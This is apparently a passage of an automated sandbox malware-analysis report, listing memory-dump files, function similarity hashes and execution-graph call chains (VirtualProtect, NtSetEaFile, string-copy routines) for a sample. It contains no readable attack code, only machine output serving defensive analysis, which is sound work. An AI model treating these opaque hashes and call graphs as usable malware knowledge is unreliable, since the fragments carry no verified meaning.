                                                                          • Associated: 00000000.00000002.1353040460.00007FF658449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353065323.00007FF65844B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353119640.00007FF65844C000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353946011.00007FF6586C2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354186440.00007FF6586C4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354478394.00007FF6586C8000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_7ff658440000_rLaC8kO1rD.jbxd
                                                                          Similarity
                                                                          • API ID: ProtectVirtual
                                                                          • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                                                          • API String ID: 544645111-395989641
                                                                          • Opcode ID: 980c9c0f67357cad808cfc73b9f707eed9ad7f9cf4014a5acad94c34b8aa7a4b
                                                                          • Instruction ID: 783ae0260d9526916932a22f0e580b19962a6d6de23d54ab21fc78bcf8c63d20
                                                                          • Opcode Fuzzy Hash: 980c9c0f67357cad808cfc73b9f707eed9ad7f9cf4014a5acad94c34b8aa7a4b
                                                                          • Instruction Fuzzy Hash: 6E515971B08546D6EB509F32E8417A82761BB94B98F088132DD9CA7BB5CF3CE486D708
                                                                          Function 00007FF658441800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 698 7ff658441800-7ff658441810 699 7ff658441824 698->699 700 7ff658441812-7ff658441822 698->700 701 7ff65844182b-7ff658441867 call 7ff658442290 fprintf 699->701 700->701
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1352967598.00007FF658441000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF658440000, based on PE: true
                                                                          • Associated: 00000000.00000002.1352929332.00007FF658440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353040460.00007FF658449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353065323.00007FF65844B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353119640.00007FF65844C000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353946011.00007FF6586C2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354186440.00007FF6586C4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354478394.00007FF6586C8000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_7ff658440000_rLaC8kO1rD.jbxd
                                                                          Similarity
                                                                          • API ID: fprintf
                                                                          • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                          • API String ID: 383729395-3474627141
                                                                          • Opcode ID: ad88118bb06c977573cba03ad9fcaa1d64cb912336aac7ddd9da66abd78a2b6d
                                                                          • Instruction ID: d59d56f5687712abc76f156e78978a427ef569b33733e91a3f08f18fa0b499c7
                                                                          • Opcode Fuzzy Hash: ad88118bb06c977573cba03ad9fcaa1d64cb912336aac7ddd9da66abd78a2b6d
                                                                          • Instruction Fuzzy Hash: F6F06212E18A9582F611AF34A9410BDA361EB997C1F589231DE8EF7A75DF2CE1828304
                                                                          Function 00007FF65844219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1352967598.00007FF658441000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF658440000, based on PE: true
                                                                          • Associated: 00000000.00000002.1352929332.00007FF658440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353040460.00007FF658449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353065323.00007FF65844B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353119640.00007FF65844C000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353946011.00007FF6586C2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354186440.00007FF6586C4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354478394.00007FF6586C8000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_7ff658440000_rLaC8kO1rD.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                                          • String ID:
                                                                          • API String ID: 682475483-0
                                                                          • Opcode ID: 3592c698fd96db414e18d9b1a955536c8f084f27075795ee67145d81e77bf88e
                                                                          • Instruction ID: 491facf95017931415cbd12fedc965ce78798c2b4c9ebdffb8963aaad35c5451
                                                                          • Opcode Fuzzy Hash: 3592c698fd96db414e18d9b1a955536c8f084f27075795ee67145d81e77bf88e
                                                                          • Instruction Fuzzy Hash: D1019A25B0991282FB669F62AD042746260BF94B91F5D4031CE5EE3FB4DF2CE9969308

                                                                          Execution Graph

                                                                          Execution Coverage:3.5%
                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                          Signature Coverage:0%
                                                                          Total number of Nodes:1380
                                                                          Total number of Limit Nodes:2
                                                                          execution_graph 3873 7ff722cb216f 3874 7ff722cb2185 3873->3874 3875 7ff722cb2178 InitializeCriticalSection 3873->3875 3875->3874 3876 7ff722cb1a70 3877 7ff722cb199e 3876->3877 3877->3876 3878 7ff722cb19e9 VirtualProtect 3877->3878 3879 7ff722cb1b36 3877->3879 3881 7ff722cb1a0f 3877->3881 3878->3876 3878->3877 3880 7ff722cb1ba0 4 API calls 3879->3880 3880->3881 3893 7ff722cb1e10 3894 7ff722cb1e2f 3893->3894 3895 7ff722cb1e55 3894->3895 3896 7ff722cb1ecc 3894->3896 3898 7ff722cb1eb5 3894->3898 3895->3898 3901 7ff722cb1f12 signal 3895->3901 3897 7ff722cb1ed3 signal 3896->3897 3896->3898 3897->3898 3899 7ff722cb1ee4 3897->3899 3899->3898 3900 7ff722cb1eea signal 3899->3900 3900->3898 3901->3898 3936 7ff722cb1fd0 3937 7ff722cb1fe4 3936->3937 3938 7ff722cb2033 3936->3938 3937->3938 3939 7ff722cb1ffd EnterCriticalSection LeaveCriticalSection 3937->3939 3939->3938 3940 7ff722cb2050 3941 7ff722cb20cf 3940->3941 3942 7ff722cb205e EnterCriticalSection 3940->3942 3943 7ff722cb20c2 LeaveCriticalSection 3942->3943 3944 7ff722cb2079 3942->3944 3943->3941 3944->3943 3945 7ff722cb20bd free 3944->3945 3945->3943 3922 7ff722cb1ab3 3923 7ff722cb199e 3922->3923 3923->3922 3924 7ff722cb1b36 3923->3924 3925 7ff722cb1a0f 3923->3925 3927 7ff722cb19e9 VirtualProtect 3923->3927 3926 7ff722cb1ba0 4 API calls 3924->3926 3926->3925 3927->3923 3869 7ff722cb1394 3870 7ff722cb8440 malloc 3869->3870 3871 7ff722cb13b8 3870->3871 3872 7ff722cb13c6 NtSetEaFile 3871->3872 3952 7ff722cb1f47 3953 7ff722cb1e99 3952->3953 3954 7ff722cb1e67 signal 3952->3954 3954->3953 3955 7ff722cb1e7c 3954->3955 3955->3953 3956 7ff722cb1e82 signal 3955->3956 3956->3953 2510 7ff722cb1140 2513 7ff722cb1160 2510->2513 2512 7ff722cb1156 2514 7ff722cb11b9 2513->2514 2515 7ff722cb118b 2513->2515 2517 7ff722cb11d3 2514->2517 2518 7ff722cb11c7 _amsg_exit 2514->2518 2515->2514 2516 7ff722cb1190 2515->2516 2516->2514 2519 7ff722cb11a0 Sleep 2516->2519 2520 7ff722cb1201 _initterm 2517->2520 2521 7ff722cb121a 2517->2521 2518->2517 2519->2514 2519->2516 2520->2521 2538 7ff722cb1880 2521->2538 2523 7ff722cb1247 SetUnhandledExceptionFilter 2524 7ff722cb126a 2523->2524 2525 7ff722cb126f malloc 2524->2525 2526 7ff722cb128b 2525->2526 2529 7ff722cb12d2 2525->2529 2527 7ff722cb12a0 strlen malloc memcpy 2526->2527 2527->2527 2528 7ff722cb12d0 2527->2528 2528->2529 2548 7ff722cb3b50 2529->2548 2531 7ff722cb1315 2532 7ff722cb1344 2531->2532 2533 7ff722cb1324 2531->2533 2536 7ff722cb1160 93 API calls 2532->2536 2534 7ff722cb1338 2533->2534 2535 7ff722cb132d _cexit 2533->2535 2534->2512 2535->2534 2537 7ff722cb1366 2536->2537 2537->2512 2539 7ff722cb18a2 2538->2539 2544 7ff722cb1a0f 2538->2544 2540 7ff722cb1956 2539->2540 2543 7ff722cb199e 2539->2543 2539->2544 2540->2543 2723 7ff722cb1ba0 2540->2723 2542 7ff722cb19e9 VirtualProtect 2542->2543 2543->2542 2543->2544 2545 7ff722cb1b36 2543->2545 2544->2523 2546 7ff722cb1ba0 4 API calls 2545->2546 2547 7ff722cb1b53 2546->2547 2547->2544 2551 7ff722cb3b66 2548->2551 2549 7ff722cb3c60 wcslen 2733 7ff722cb153f 2549->2733 2551->2549 2555 7ff722cb3d60 2558 7ff722cb3d7a memset wcscat memset 2555->2558 2561 7ff722cb3dd3 2558->2561 2560 7ff722cb3e23 wcslen 2562 7ff722cb3e35 2560->2562 2566 7ff722cb3e7c 2560->2566 2561->2560 2563 7ff722cb3e50 _wcsnicmp 2562->2563 2564 7ff722cb3e66 wcslen 2563->2564 2563->2566 2564->2563 2564->2566 2565 7ff722cb3edd wcscpy wcscat memset 2568 7ff722cb3f1c 2565->2568 2566->2565 2567 7ff722cb4024 wcscpy wcscat 2569 7ff722cb404f memset 2567->2569 2573 7ff722cb4131 2567->2573 2568->2567 2571 7ff722cb4070 2569->2571 2570 7ff722cb40d5 wcslen 2572 7ff722cb40eb 2570->2572 2578 7ff722cb412c 2570->2578 2571->2570 2575 7ff722cb4100 _wcsnicmp 2572->2575 2877 7ff722cb2df0 2573->2877 2576 7ff722cb4116 wcslen 2575->2576 2575->2578 2576->2575 2576->2578 2577 7ff722cb43a3 wcscpy wcscat memset 2579 7ff722cb43e5 2577->2579 2578->2577 2580 7ff722cb442a wcscpy wcscat memset 2579->2580 2581 7ff722cb4470 2580->2581 2582 7ff722cb44d5 wcscpy wcscat memset 2581->2582 2583 7ff722cb451b 2582->2583 2584 7ff722cb454b wcscpy wcscat 2583->2584 2585 7ff722cb6760 memcpy 2584->2585 2586 7ff722cb457d 2584->2586 2585->2586 2587 7ff722cb2df0 11 API calls 2586->2587 2588 7ff722cb472c 2587->2588 2589 7ff722cb2df0 11 API calls 2588->2589 2590 7ff722cb4840 memset 2589->2590 2591 7ff722cb4861 2590->2591 2592 7ff722cb48a4 wcscpy wcscat memset 2591->2592 2594 7ff722cb48ed 2592->2594 2593 7ff722cb4930 wcscpy wcscat wcslen 2889 7ff722cb146d 2593->2889 2594->2593 2597 7ff722cb4a44 2600 7ff722cb4b3a wcslen 2597->2600 2607 7ff722cb4d2d 2597->2607 3025 7ff722cb157b 2600->3025 2601 7ff722cb145e 2 API calls 2601->2597 2605 7ff722cb4d0c memset 2605->2607 2606 7ff722cb4c9f wcslen 3057 7ff722cb15e4 2606->3057 2608 7ff722cb4d9d wcscpy wcscat 2607->2608 2612 7ff722cb4dcf 2608->2612 2610 7ff722cb4bf9 2610->2605 2610->2606 2613 7ff722cb2df0 11 API calls 2612->2613 2616 7ff722cb4ed7 2613->2616 2614 7ff722cb145e 2 API calls 2614->2605 2615 7ff722cb2df0 11 API calls 2617 7ff722cb4fec 2615->2617 2616->2615 2618 7ff722cb2df0 11 API calls 2617->2618 2619 7ff722cb50d6 2618->2619 2620 7ff722cb2df0 11 API calls 2619->2620 2621 7ff722cb51c0 2620->2621 2622 7ff722cb5301 wcslen 2621->2622 2623 7ff722cb157b 2 API calls 2622->2623 2624 7ff722cb538b 2623->2624 2625 7ff722cb5393 memset 2624->2625 2629 7ff722cb54a5 2624->2629 2626 7ff722cb53b4 2625->2626 2627 7ff722cb5404 wcslen 2626->2627 3060 7ff722cb15a8 2627->3060 2628 7ff722cb2df0 11 API calls 2636 7ff722cb5550 2628->2636 2629->2628 2637 7ff722cb5642 _wcsicmp 2629->2637 2632 7ff722cb5474 _wcsnicmp 2633 7ff722cb5499 2632->2633 2641 7ff722cb5c81 2632->2641 2634 7ff722cb145e 2 API calls 2633->2634 2634->2629 2635 7ff722cb2df0 11 API calls 2635->2637 2636->2635 2639 7ff722cb565d memset 2637->2639 2655 7ff722cb59e0 2637->2655 2638 7ff722cb5cde wcslen 2640 7ff722cb15a8 2 API calls 2638->2640 2643 7ff722cb5681 2639->2643 2642 7ff722cb5d3a 2640->2642 2641->2638 2645 7ff722cb145e 2 API calls 2642->2645 2644 7ff722cb56c6 wcscpy wcscat wcslen 2643->2644 2648 7ff722cb146d 2 API calls 2644->2648 2645->2629 2646 7ff722cb5a94 wcslen 2647 7ff722cb153f 2 API calls 2646->2647 2649 7ff722cb5b1f 2647->2649 2650 7ff722cb5793 2648->2650 2652 7ff722cb145e 2 API calls 2649->2652 3071 7ff722cb1530 2650->3071 2654 7ff722cb5b30 2652->2654 2667 7ff722cb5bc7 2654->2667 3283 7ff722cb2f70 2654->3283 2655->2646 2656 7ff722cb57d1 3098 7ff722cb14a9 2656->3098 2657 7ff722cb6f36 2658 7ff722cb145e 2 API calls 2657->2658 2661 7ff722cb6f42 2658->2661 2660 7ff722cb5c24 wcslen 2664 7ff722cb5c3a 2660->2664 2686 7ff722cb5c7c 2660->2686 2661->2531 2668 7ff722cb5c50 _wcsnicmp 2664->2668 2665 7ff722cb586d 2671 7ff722cb145e 2 API calls 2665->2671 2666 7ff722cb5b5d 3287 7ff722cb38e0 2666->3287 2667->2660 2672 7ff722cb5c66 wcslen 2668->2672 2668->2686 2675 7ff722cb5861 2671->2675 2672->2668 2672->2686 3218 7ff722cb3350 memset 2675->3218 2676 7ff722cb5de9 memset wcscpy wcscat 2679 7ff722cb2f70 2 API calls 2676->2679 2677 7ff722cb5855 2680 7ff722cb145e 2 API calls 2677->2680 2678 7ff722cb14c7 2 API calls 2681 7ff722cb5bb9 2678->2681 2684 7ff722cb5e40 2679->2684 2680->2675 2681->2667 2688 7ff722cb145e 2 API calls 2681->2688 2687 7ff722cb3350 11 API calls 2684->2687 2686->2676 2689 7ff722cb5e58 2687->2689 2688->2667 2690 7ff722cb14c7 2 API calls 2689->2690 2691 7ff722cb5e86 memset 2690->2691 2694 7ff722cb5ea7 2691->2694 2692 7ff722cb2df0 11 API calls 2701 7ff722cb5945 2692->2701 2693 7ff722cb58bc 2693->2692 2695 7ff722cb5ef7 wcslen 2694->2695 2696 7ff722cb5f47 wcscat memset 2695->2696 2697 7ff722cb5f09 2695->2697 2704 7ff722cb5f81 2696->2704 2698 7ff722cb5f20 _wcsnicmp 2697->2698 2698->2696 2700 7ff722cb5f32 wcslen 2698->2700 2700->2696 2700->2698 2702 7ff722cb2df0 11 API calls 2701->2702 2705 7ff722cb4234 2702->2705 2703 7ff722cb5ff1 wcscpy wcscat 2707 7ff722cb6023 2703->2707 2704->2703 2705->2531 2706 7ff722cb6eaa memcpy 2709 7ff722cb6160 2706->2709 2707->2706 2707->2709 2708 7ff722cb6327 wcslen 2710 7ff722cb153f 2 API calls 2708->2710 2709->2708 2711 7ff722cb63b2 2710->2711 2712 7ff722cb145e 2 API calls 2711->2712 2713 7ff722cb63c3 2712->2713 2714 7ff722cb6462 2713->2714 2716 7ff722cb2f70 2 API calls 2713->2716 2715 7ff722cb145e 2 API calls 2714->2715 2715->2705 2717 7ff722cb63f0 2716->2717 2718 7ff722cb38e0 11 API calls 2717->2718 2719 7ff722cb641c 2718->2719 2720 7ff722cb14c7 2 API calls 2719->2720 2721 7ff722cb6454 2720->2721 2721->2714 2722 7ff722cb145e 2 API calls 2721->2722 2722->2714 2724 7ff722cb1bc2 2723->2724 2726 7ff722cb1c45 VirtualQuery 2724->2726 2727 7ff722cb1cf4 2724->2727 2730 7ff722cb1c04 memcpy 2724->2730 2726->2727 2732 7ff722cb1c72 2726->2732 2728 7ff722cb1d23 GetLastError 2727->2728 2729 7ff722cb1d37 2728->2729 2730->2540 2731 7ff722cb1ca4 VirtualProtect 2731->2728 2731->2730 2732->2730 2732->2731 3310 7ff722cb1394 2733->3310 2735 7ff722cb154e 2736 7ff722cb1394 2 API calls 2735->2736 2737 7ff722cb155d 2736->2737 2738 7ff722cb1394 2 API calls 2737->2738 2739 7ff722cb156c 2738->2739 2740 7ff722cb1394 2 API calls 2739->2740 2741 7ff722cb157b 2740->2741 2742 7ff722cb1394 2 API calls 2741->2742 2743 7ff722cb158a 2742->2743 2744 7ff722cb1394 2 API calls 2743->2744 2745 7ff722cb1599 2744->2745 2746 7ff722cb1394 2 API calls 2745->2746 2747 7ff722cb15a8 2746->2747 2748 7ff722cb1394 2 API calls 2747->2748 2749 7ff722cb15b7 2748->2749 2750 7ff722cb1394 2 API calls 2749->2750 2751 7ff722cb15c6 2750->2751 2752 7ff722cb1394 2 API calls 2751->2752 2753 7ff722cb15d5 2752->2753 2754 7ff722cb15e4 2753->2754 2755 7ff722cb1394 2 API calls 2753->2755 2756 7ff722cb1394 2 API calls 2754->2756 2755->2754 2757 7ff722cb15f3 2756->2757 2757->2705 2758 7ff722cb1503 2757->2758 2759 7ff722cb1394 2 API calls 2758->2759 2760 7ff722cb150d 2759->2760 2761 7ff722cb1512 2760->2761 2762 7ff722cb1394 2 API calls 2760->2762 2763 7ff722cb1394 2 API calls 2761->2763 2762->2761 2764 7ff722cb1521 2763->2764 2765 7ff722cb1394 2 API calls 2764->2765 2766 7ff722cb152b 2765->2766 2767 7ff722cb1394 2 API calls 2766->2767 2768 7ff722cb1530 2767->2768 2769 7ff722cb1394 2 API calls 2768->2769 2770 7ff722cb153f 2769->2770 2771 7ff722cb1394 2 API calls 2770->2771 2772 7ff722cb154e 2771->2772 2773 7ff722cb1394 2 API calls 2772->2773 2774 7ff722cb155d 2773->2774 2775 7ff722cb1394 2 API calls 2774->2775 2776 7ff722cb156c 2775->2776 2777 7ff722cb1394 2 API calls 2776->2777 2778 7ff722cb157b 2777->2778 2779 7ff722cb1394 2 API calls 2778->2779 2780 7ff722cb158a 2779->2780 2781 7ff722cb1394 2 API calls 2780->2781 2782 7ff722cb1599 2781->2782 2783 7ff722cb1394 2 API calls 2782->2783 2784 7ff722cb15a8 2783->2784 2785 7ff722cb1394 2 API calls 2784->2785 2786 7ff722cb15b7 2785->2786 2787 7ff722cb1394 2 API calls 2786->2787 2788 7ff722cb15c6 2787->2788 2789 7ff722cb1394 2 API calls 2788->2789 2790 7ff722cb15d5 2789->2790 2791 7ff722cb15e4 2790->2791 2792 7ff722cb1394 2 API calls 2790->2792 2793 7ff722cb1394 2 API calls 2791->2793 2792->2791 2794 7ff722cb15f3 2793->2794 2794->2555 2795 7ff722cb156c 2794->2795 2796 7ff722cb1394 2 API calls 2795->2796 2797 7ff722cb157b 2796->2797 2798 7ff722cb1394 2 API calls 2797->2798 2799 7ff722cb158a 2798->2799 2800 7ff722cb1394 2 API calls 2799->2800 2801 7ff722cb1599 2800->2801 2802 7ff722cb1394 2 API calls 2801->2802 2803 7ff722cb15a8 2802->2803 2804 7ff722cb1394 2 API calls 2803->2804 2805 7ff722cb15b7 2804->2805 2806 7ff722cb1394 2 API calls 2805->2806 2807 7ff722cb15c6 2806->2807 2808 7ff722cb1394 2 API calls 2807->2808 2809 7ff722cb15d5 2808->2809 2810 7ff722cb15e4 2809->2810 2811 7ff722cb1394 2 API calls 2809->2811 2812 7ff722cb1394 2 API calls 2810->2812 2811->2810 2813 7ff722cb15f3 2812->2813 2813->2555 2814 7ff722cb145e 2813->2814 2815 7ff722cb1394 2 API calls 2814->2815 2816 7ff722cb146d 2815->2816 2817 7ff722cb1394 2 API calls 2816->2817 2818 7ff722cb147c 2817->2818 2819 7ff722cb1394 2 API calls 2818->2819 2820 7ff722cb148b 2819->2820 2821 7ff722cb1394 2 API calls 2820->2821 2822 7ff722cb149a 2821->2822 2823 7ff722cb1394 2 API calls 2822->2823 2824 7ff722cb14a9 2823->2824 2825 7ff722cb1394 2 API calls 2824->2825 2826 7ff722cb14b8 2825->2826 2827 7ff722cb1394 2 API calls 2826->2827 2828 7ff722cb14c7 2827->2828 2829 7ff722cb1394 2 API calls 2828->2829 2830 7ff722cb14d6 2829->2830 2831 7ff722cb14e5 2830->2831 2832 7ff722cb1394 2 API calls 2830->2832 2833 7ff722cb1394 2 API calls 2831->2833 2832->2831 2834 7ff722cb14ef 2833->2834 2835 7ff722cb14f4 2834->2835 2836 7ff722cb1394 2 API calls 2834->2836 2837 7ff722cb1394 2 API calls 2835->2837 2836->2835 2838 7ff722cb14fe 2837->2838 2839 7ff722cb1503 2838->2839 2840 7ff722cb1394 2 API calls 2838->2840 2841 7ff722cb1394 2 API calls 2839->2841 2840->2839 2842 7ff722cb150d 2841->2842 2843 7ff722cb1512 2842->2843 2844 7ff722cb1394 2 API calls 2842->2844 2845 7ff722cb1394 2 API calls 2843->2845 2844->2843 2846 7ff722cb1521 2845->2846 2847 7ff722cb1394 2 API calls 2846->2847 2848 7ff722cb152b 2847->2848 2849 7ff722cb1394 2 API calls 2848->2849 2850 7ff722cb1530 2849->2850 2851 7ff722cb1394 2 API calls 2850->2851 2852 7ff722cb153f 2851->2852 2853 7ff722cb1394 2 API calls 2852->2853 2854 7ff722cb154e 2853->2854 2855 7ff722cb1394 2 API calls 2854->2855 2856 7ff722cb155d 2855->2856 2857 7ff722cb1394 2 API calls 2856->2857 2858 7ff722cb156c 2857->2858 2859 7ff722cb1394 2 API calls 2858->2859 2860 7ff722cb157b 2859->2860 2861 7ff722cb1394 2 API calls 2860->2861 2862 7ff722cb158a 2861->2862 2863 7ff722cb1394 2 API calls 2862->2863 2864 7ff722cb1599 2863->2864 2865 7ff722cb1394 2 API calls 2864->2865 2866 7ff722cb15a8 2865->2866 2867 7ff722cb1394 2 API calls 2866->2867 2868 7ff722cb15b7 2867->2868 2869 7ff722cb1394 2 API calls 2868->2869 2870 7ff722cb15c6 2869->2870 2871 7ff722cb1394 2 API calls 2870->2871 2872 7ff722cb15d5 2871->2872 2873 7ff722cb15e4 2872->2873 2874 7ff722cb1394 2 API calls 2872->2874 2875 7ff722cb1394 2 API calls 2873->2875 2874->2873 2876 7ff722cb15f3 2875->2876 2876->2555 3320 7ff722cb2660 2877->3320 2879 7ff722cb2e00 memset 2888 7ff722cb2e3c 2879->2888 2882 7ff722cb145e 2 API calls 2883 7ff722cb2f35 2882->2883 2884 7ff722cb2f53 2883->2884 3355 7ff722cb1512 2883->3355 2886 7ff722cb145e 2 API calls 2884->2886 2887 7ff722cb2f5d 2886->2887 2887->2705 3322 7ff722cb2690 2888->3322 2890 7ff722cb1394 2 API calls 2889->2890 2891 7ff722cb147c 2890->2891 2892 7ff722cb1394 2 API calls 2891->2892 2893 7ff722cb148b 2892->2893 2894 7ff722cb1394 2 API calls 2893->2894 2895 7ff722cb149a 2894->2895 2896 7ff722cb1394 2 API calls 2895->2896 2897 7ff722cb14a9 2896->2897 2898 7ff722cb1394 2 API calls 2897->2898 2899 7ff722cb14b8 2898->2899 2900 7ff722cb1394 2 API calls 2899->2900 2901 7ff722cb14c7 2900->2901 2902 7ff722cb1394 2 API calls 2901->2902 2903 7ff722cb14d6 2902->2903 2904 7ff722cb14e5 2903->2904 2905 7ff722cb1394 2 API calls 2903->2905 2906 7ff722cb1394 2 API calls 2904->2906 2905->2904 2907 7ff722cb14ef 2906->2907 2908 7ff722cb14f4 2907->2908 2909 7ff722cb1394 2 API calls 2907->2909 2910 7ff722cb1394 2 API calls 2908->2910 2909->2908 2911 7ff722cb14fe 2910->2911 2912 7ff722cb1503 2911->2912 2913 7ff722cb1394 2 API calls 2911->2913 2914 7ff722cb1394 2 API calls 2912->2914 2913->2912 2915 7ff722cb150d 2914->2915 2916 7ff722cb1512 2915->2916 2917 7ff722cb1394 2 API calls 2915->2917 2918 7ff722cb1394 2 API calls 2916->2918 2917->2916 2919 7ff722cb1521 2918->2919 2920 7ff722cb1394 2 API calls 2919->2920 2921 7ff722cb152b 2920->2921 2922 7ff722cb1394 2 API calls 2921->2922 2923 7ff722cb1530 2922->2923 2924 7ff722cb1394 2 API calls 2923->2924 2925 7ff722cb153f 2924->2925 2926 7ff722cb1394 2 API calls 2925->2926 2927 7ff722cb154e 2926->2927 2928 7ff722cb1394 2 API calls 2927->2928 2929 7ff722cb155d 2928->2929 2930 7ff722cb1394 2 API calls 2929->2930 2931 7ff722cb156c 2930->2931 2932 7ff722cb1394 2 API calls 2931->2932 2933 7ff722cb157b 2932->2933 2934 7ff722cb1394 2 API calls 2933->2934 2935 7ff722cb158a 2934->2935 2936 7ff722cb1394 2 API calls 2935->2936 2937 7ff722cb1599 2936->2937 2938 7ff722cb1394 2 API calls 2937->2938 2939 7ff722cb15a8 2938->2939 2940 7ff722cb1394 2 API calls 2939->2940 2941 7ff722cb15b7 2940->2941 2942 7ff722cb1394 2 API calls 2941->2942 2943 7ff722cb15c6 2942->2943 2944 7ff722cb1394 2 API calls 2943->2944 2945 7ff722cb15d5 2944->2945 2946 7ff722cb15e4 2945->2946 2947 7ff722cb1394 2 API calls 2945->2947 2948 7ff722cb1394 2 API calls 2946->2948 2947->2946 2949 7ff722cb15f3 2948->2949 2949->2597 2950 7ff722cb1404 2949->2950 2951 7ff722cb1394 2 API calls 2950->2951 2952 7ff722cb1413 2951->2952 2953 7ff722cb1394 2 API calls 2952->2953 2954 7ff722cb1422 2953->2954 2955 7ff722cb1394 2 API calls 2954->2955 2956 7ff722cb1431 2955->2956 2957 7ff722cb1394 2 API calls 2956->2957 2958 7ff722cb1440 2957->2958 2959 7ff722cb1394 2 API calls 2958->2959 2960 7ff722cb144f 2959->2960 2961 7ff722cb1394 2 API calls 2960->2961 2962 7ff722cb145e 2961->2962 2963 7ff722cb1394 2 API calls 2962->2963 2964 7ff722cb146d 2963->2964 2965 7ff722cb1394 2 API calls 2964->2965 2966 7ff722cb147c 2965->2966 2967 7ff722cb1394 2 API calls 2966->2967 2968 7ff722cb148b 2967->2968 2969 7ff722cb1394 2 API calls 2968->2969 2970 7ff722cb149a 2969->2970 2971 7ff722cb1394 2 API calls 2970->2971 2972 7ff722cb14a9 2971->2972 2973 7ff722cb1394 2 API calls 2972->2973 2974 7ff722cb14b8 2973->2974 2975 7ff722cb1394 2 API calls 2974->2975 2976 7ff722cb14c7 2975->2976 2977 7ff722cb1394 2 API calls 2976->2977 2978 7ff722cb14d6 2977->2978 2979 7ff722cb14e5 2978->2979 2980 7ff722cb1394 2 API calls 2978->2980 2981 7ff722cb1394 2 API calls 2979->2981 2980->2979 2982 7ff722cb14ef 2981->2982 2983 7ff722cb14f4 2982->2983 2984 7ff722cb1394 2 API calls 2982->2984 2985 7ff722cb1394 2 API calls 2983->2985 2984->2983 2986 7ff722cb14fe 2985->2986 2987 7ff722cb1503 2986->2987 2988 7ff722cb1394 2 API calls 2986->2988 2989 7ff722cb1394 2 API calls 2987->2989 2988->2987 2990 7ff722cb150d 2989->2990 2991 7ff722cb1512 2990->2991 2992 7ff722cb1394 2 API calls 2990->2992 2993 7ff722cb1394 2 API calls 2991->2993 2992->2991 2994 7ff722cb1521 2993->2994 2995 7ff722cb1394 2 API calls 2994->2995 2996 7ff722cb152b 2995->2996 2997 7ff722cb1394 2 API calls 2996->2997 2998 7ff722cb1530 2997->2998 2999 7ff722cb1394 2 API calls 2998->2999 3000 7ff722cb153f 2999->3000 3001 7ff722cb1394 2 API calls 3000->3001 3002 7ff722cb154e 3001->3002 3003 7ff722cb1394 2 API calls 3002->3003 3004 7ff722cb155d 3003->3004 3005 7ff722cb1394 2 API calls 3004->3005 3006 7ff722cb156c 3005->3006 3007 7ff722cb1394 2 API calls 3006->3007 3008 7ff722cb157b 3007->3008 3009 7ff722cb1394 2 API calls 3008->3009 3010 7ff722cb158a 3009->3010 3011 7ff722cb1394 2 API calls 3010->3011 3012 7ff722cb1599 3011->3012 3013 7ff722cb1394 2 API calls 3012->3013 3014 7ff722cb15a8 3013->3014 3015 7ff722cb1394 2 API calls 3014->3015 3016 7ff722cb15b7 3015->3016 3017 7ff722cb1394 2 API calls 3016->3017 3018 7ff722cb15c6 3017->3018 3019 7ff722cb1394 2 API calls 3018->3019 3020 7ff722cb15d5 3019->3020 3021 7ff722cb15e4 3020->3021 3022 7ff722cb1394 2 API calls 3020->3022 3023 7ff722cb1394 2 API calls 3021->3023 3022->3021 3024 7ff722cb15f3 3023->3024 3024->2601 3026 7ff722cb1394 2 API calls 3025->3026 3027 7ff722cb158a 3026->3027 3028 7ff722cb1394 2 API calls 3027->3028 3029 7ff722cb1599 3028->3029 3030 7ff722cb1394 2 API calls 3029->3030 3031 7ff722cb15a8 3030->3031 3032 7ff722cb1394 2 API calls 3031->3032 3033 7ff722cb15b7 3032->3033 3034 7ff722cb1394 2 API calls 3033->3034 3035 7ff722cb15c6 3034->3035 3036 7ff722cb1394 2 API calls 3035->3036 3037 7ff722cb15d5 3036->3037 3038 7ff722cb15e4 3037->3038 3039 7ff722cb1394 2 API calls 3037->3039 3040 7ff722cb1394 2 API calls 3038->3040 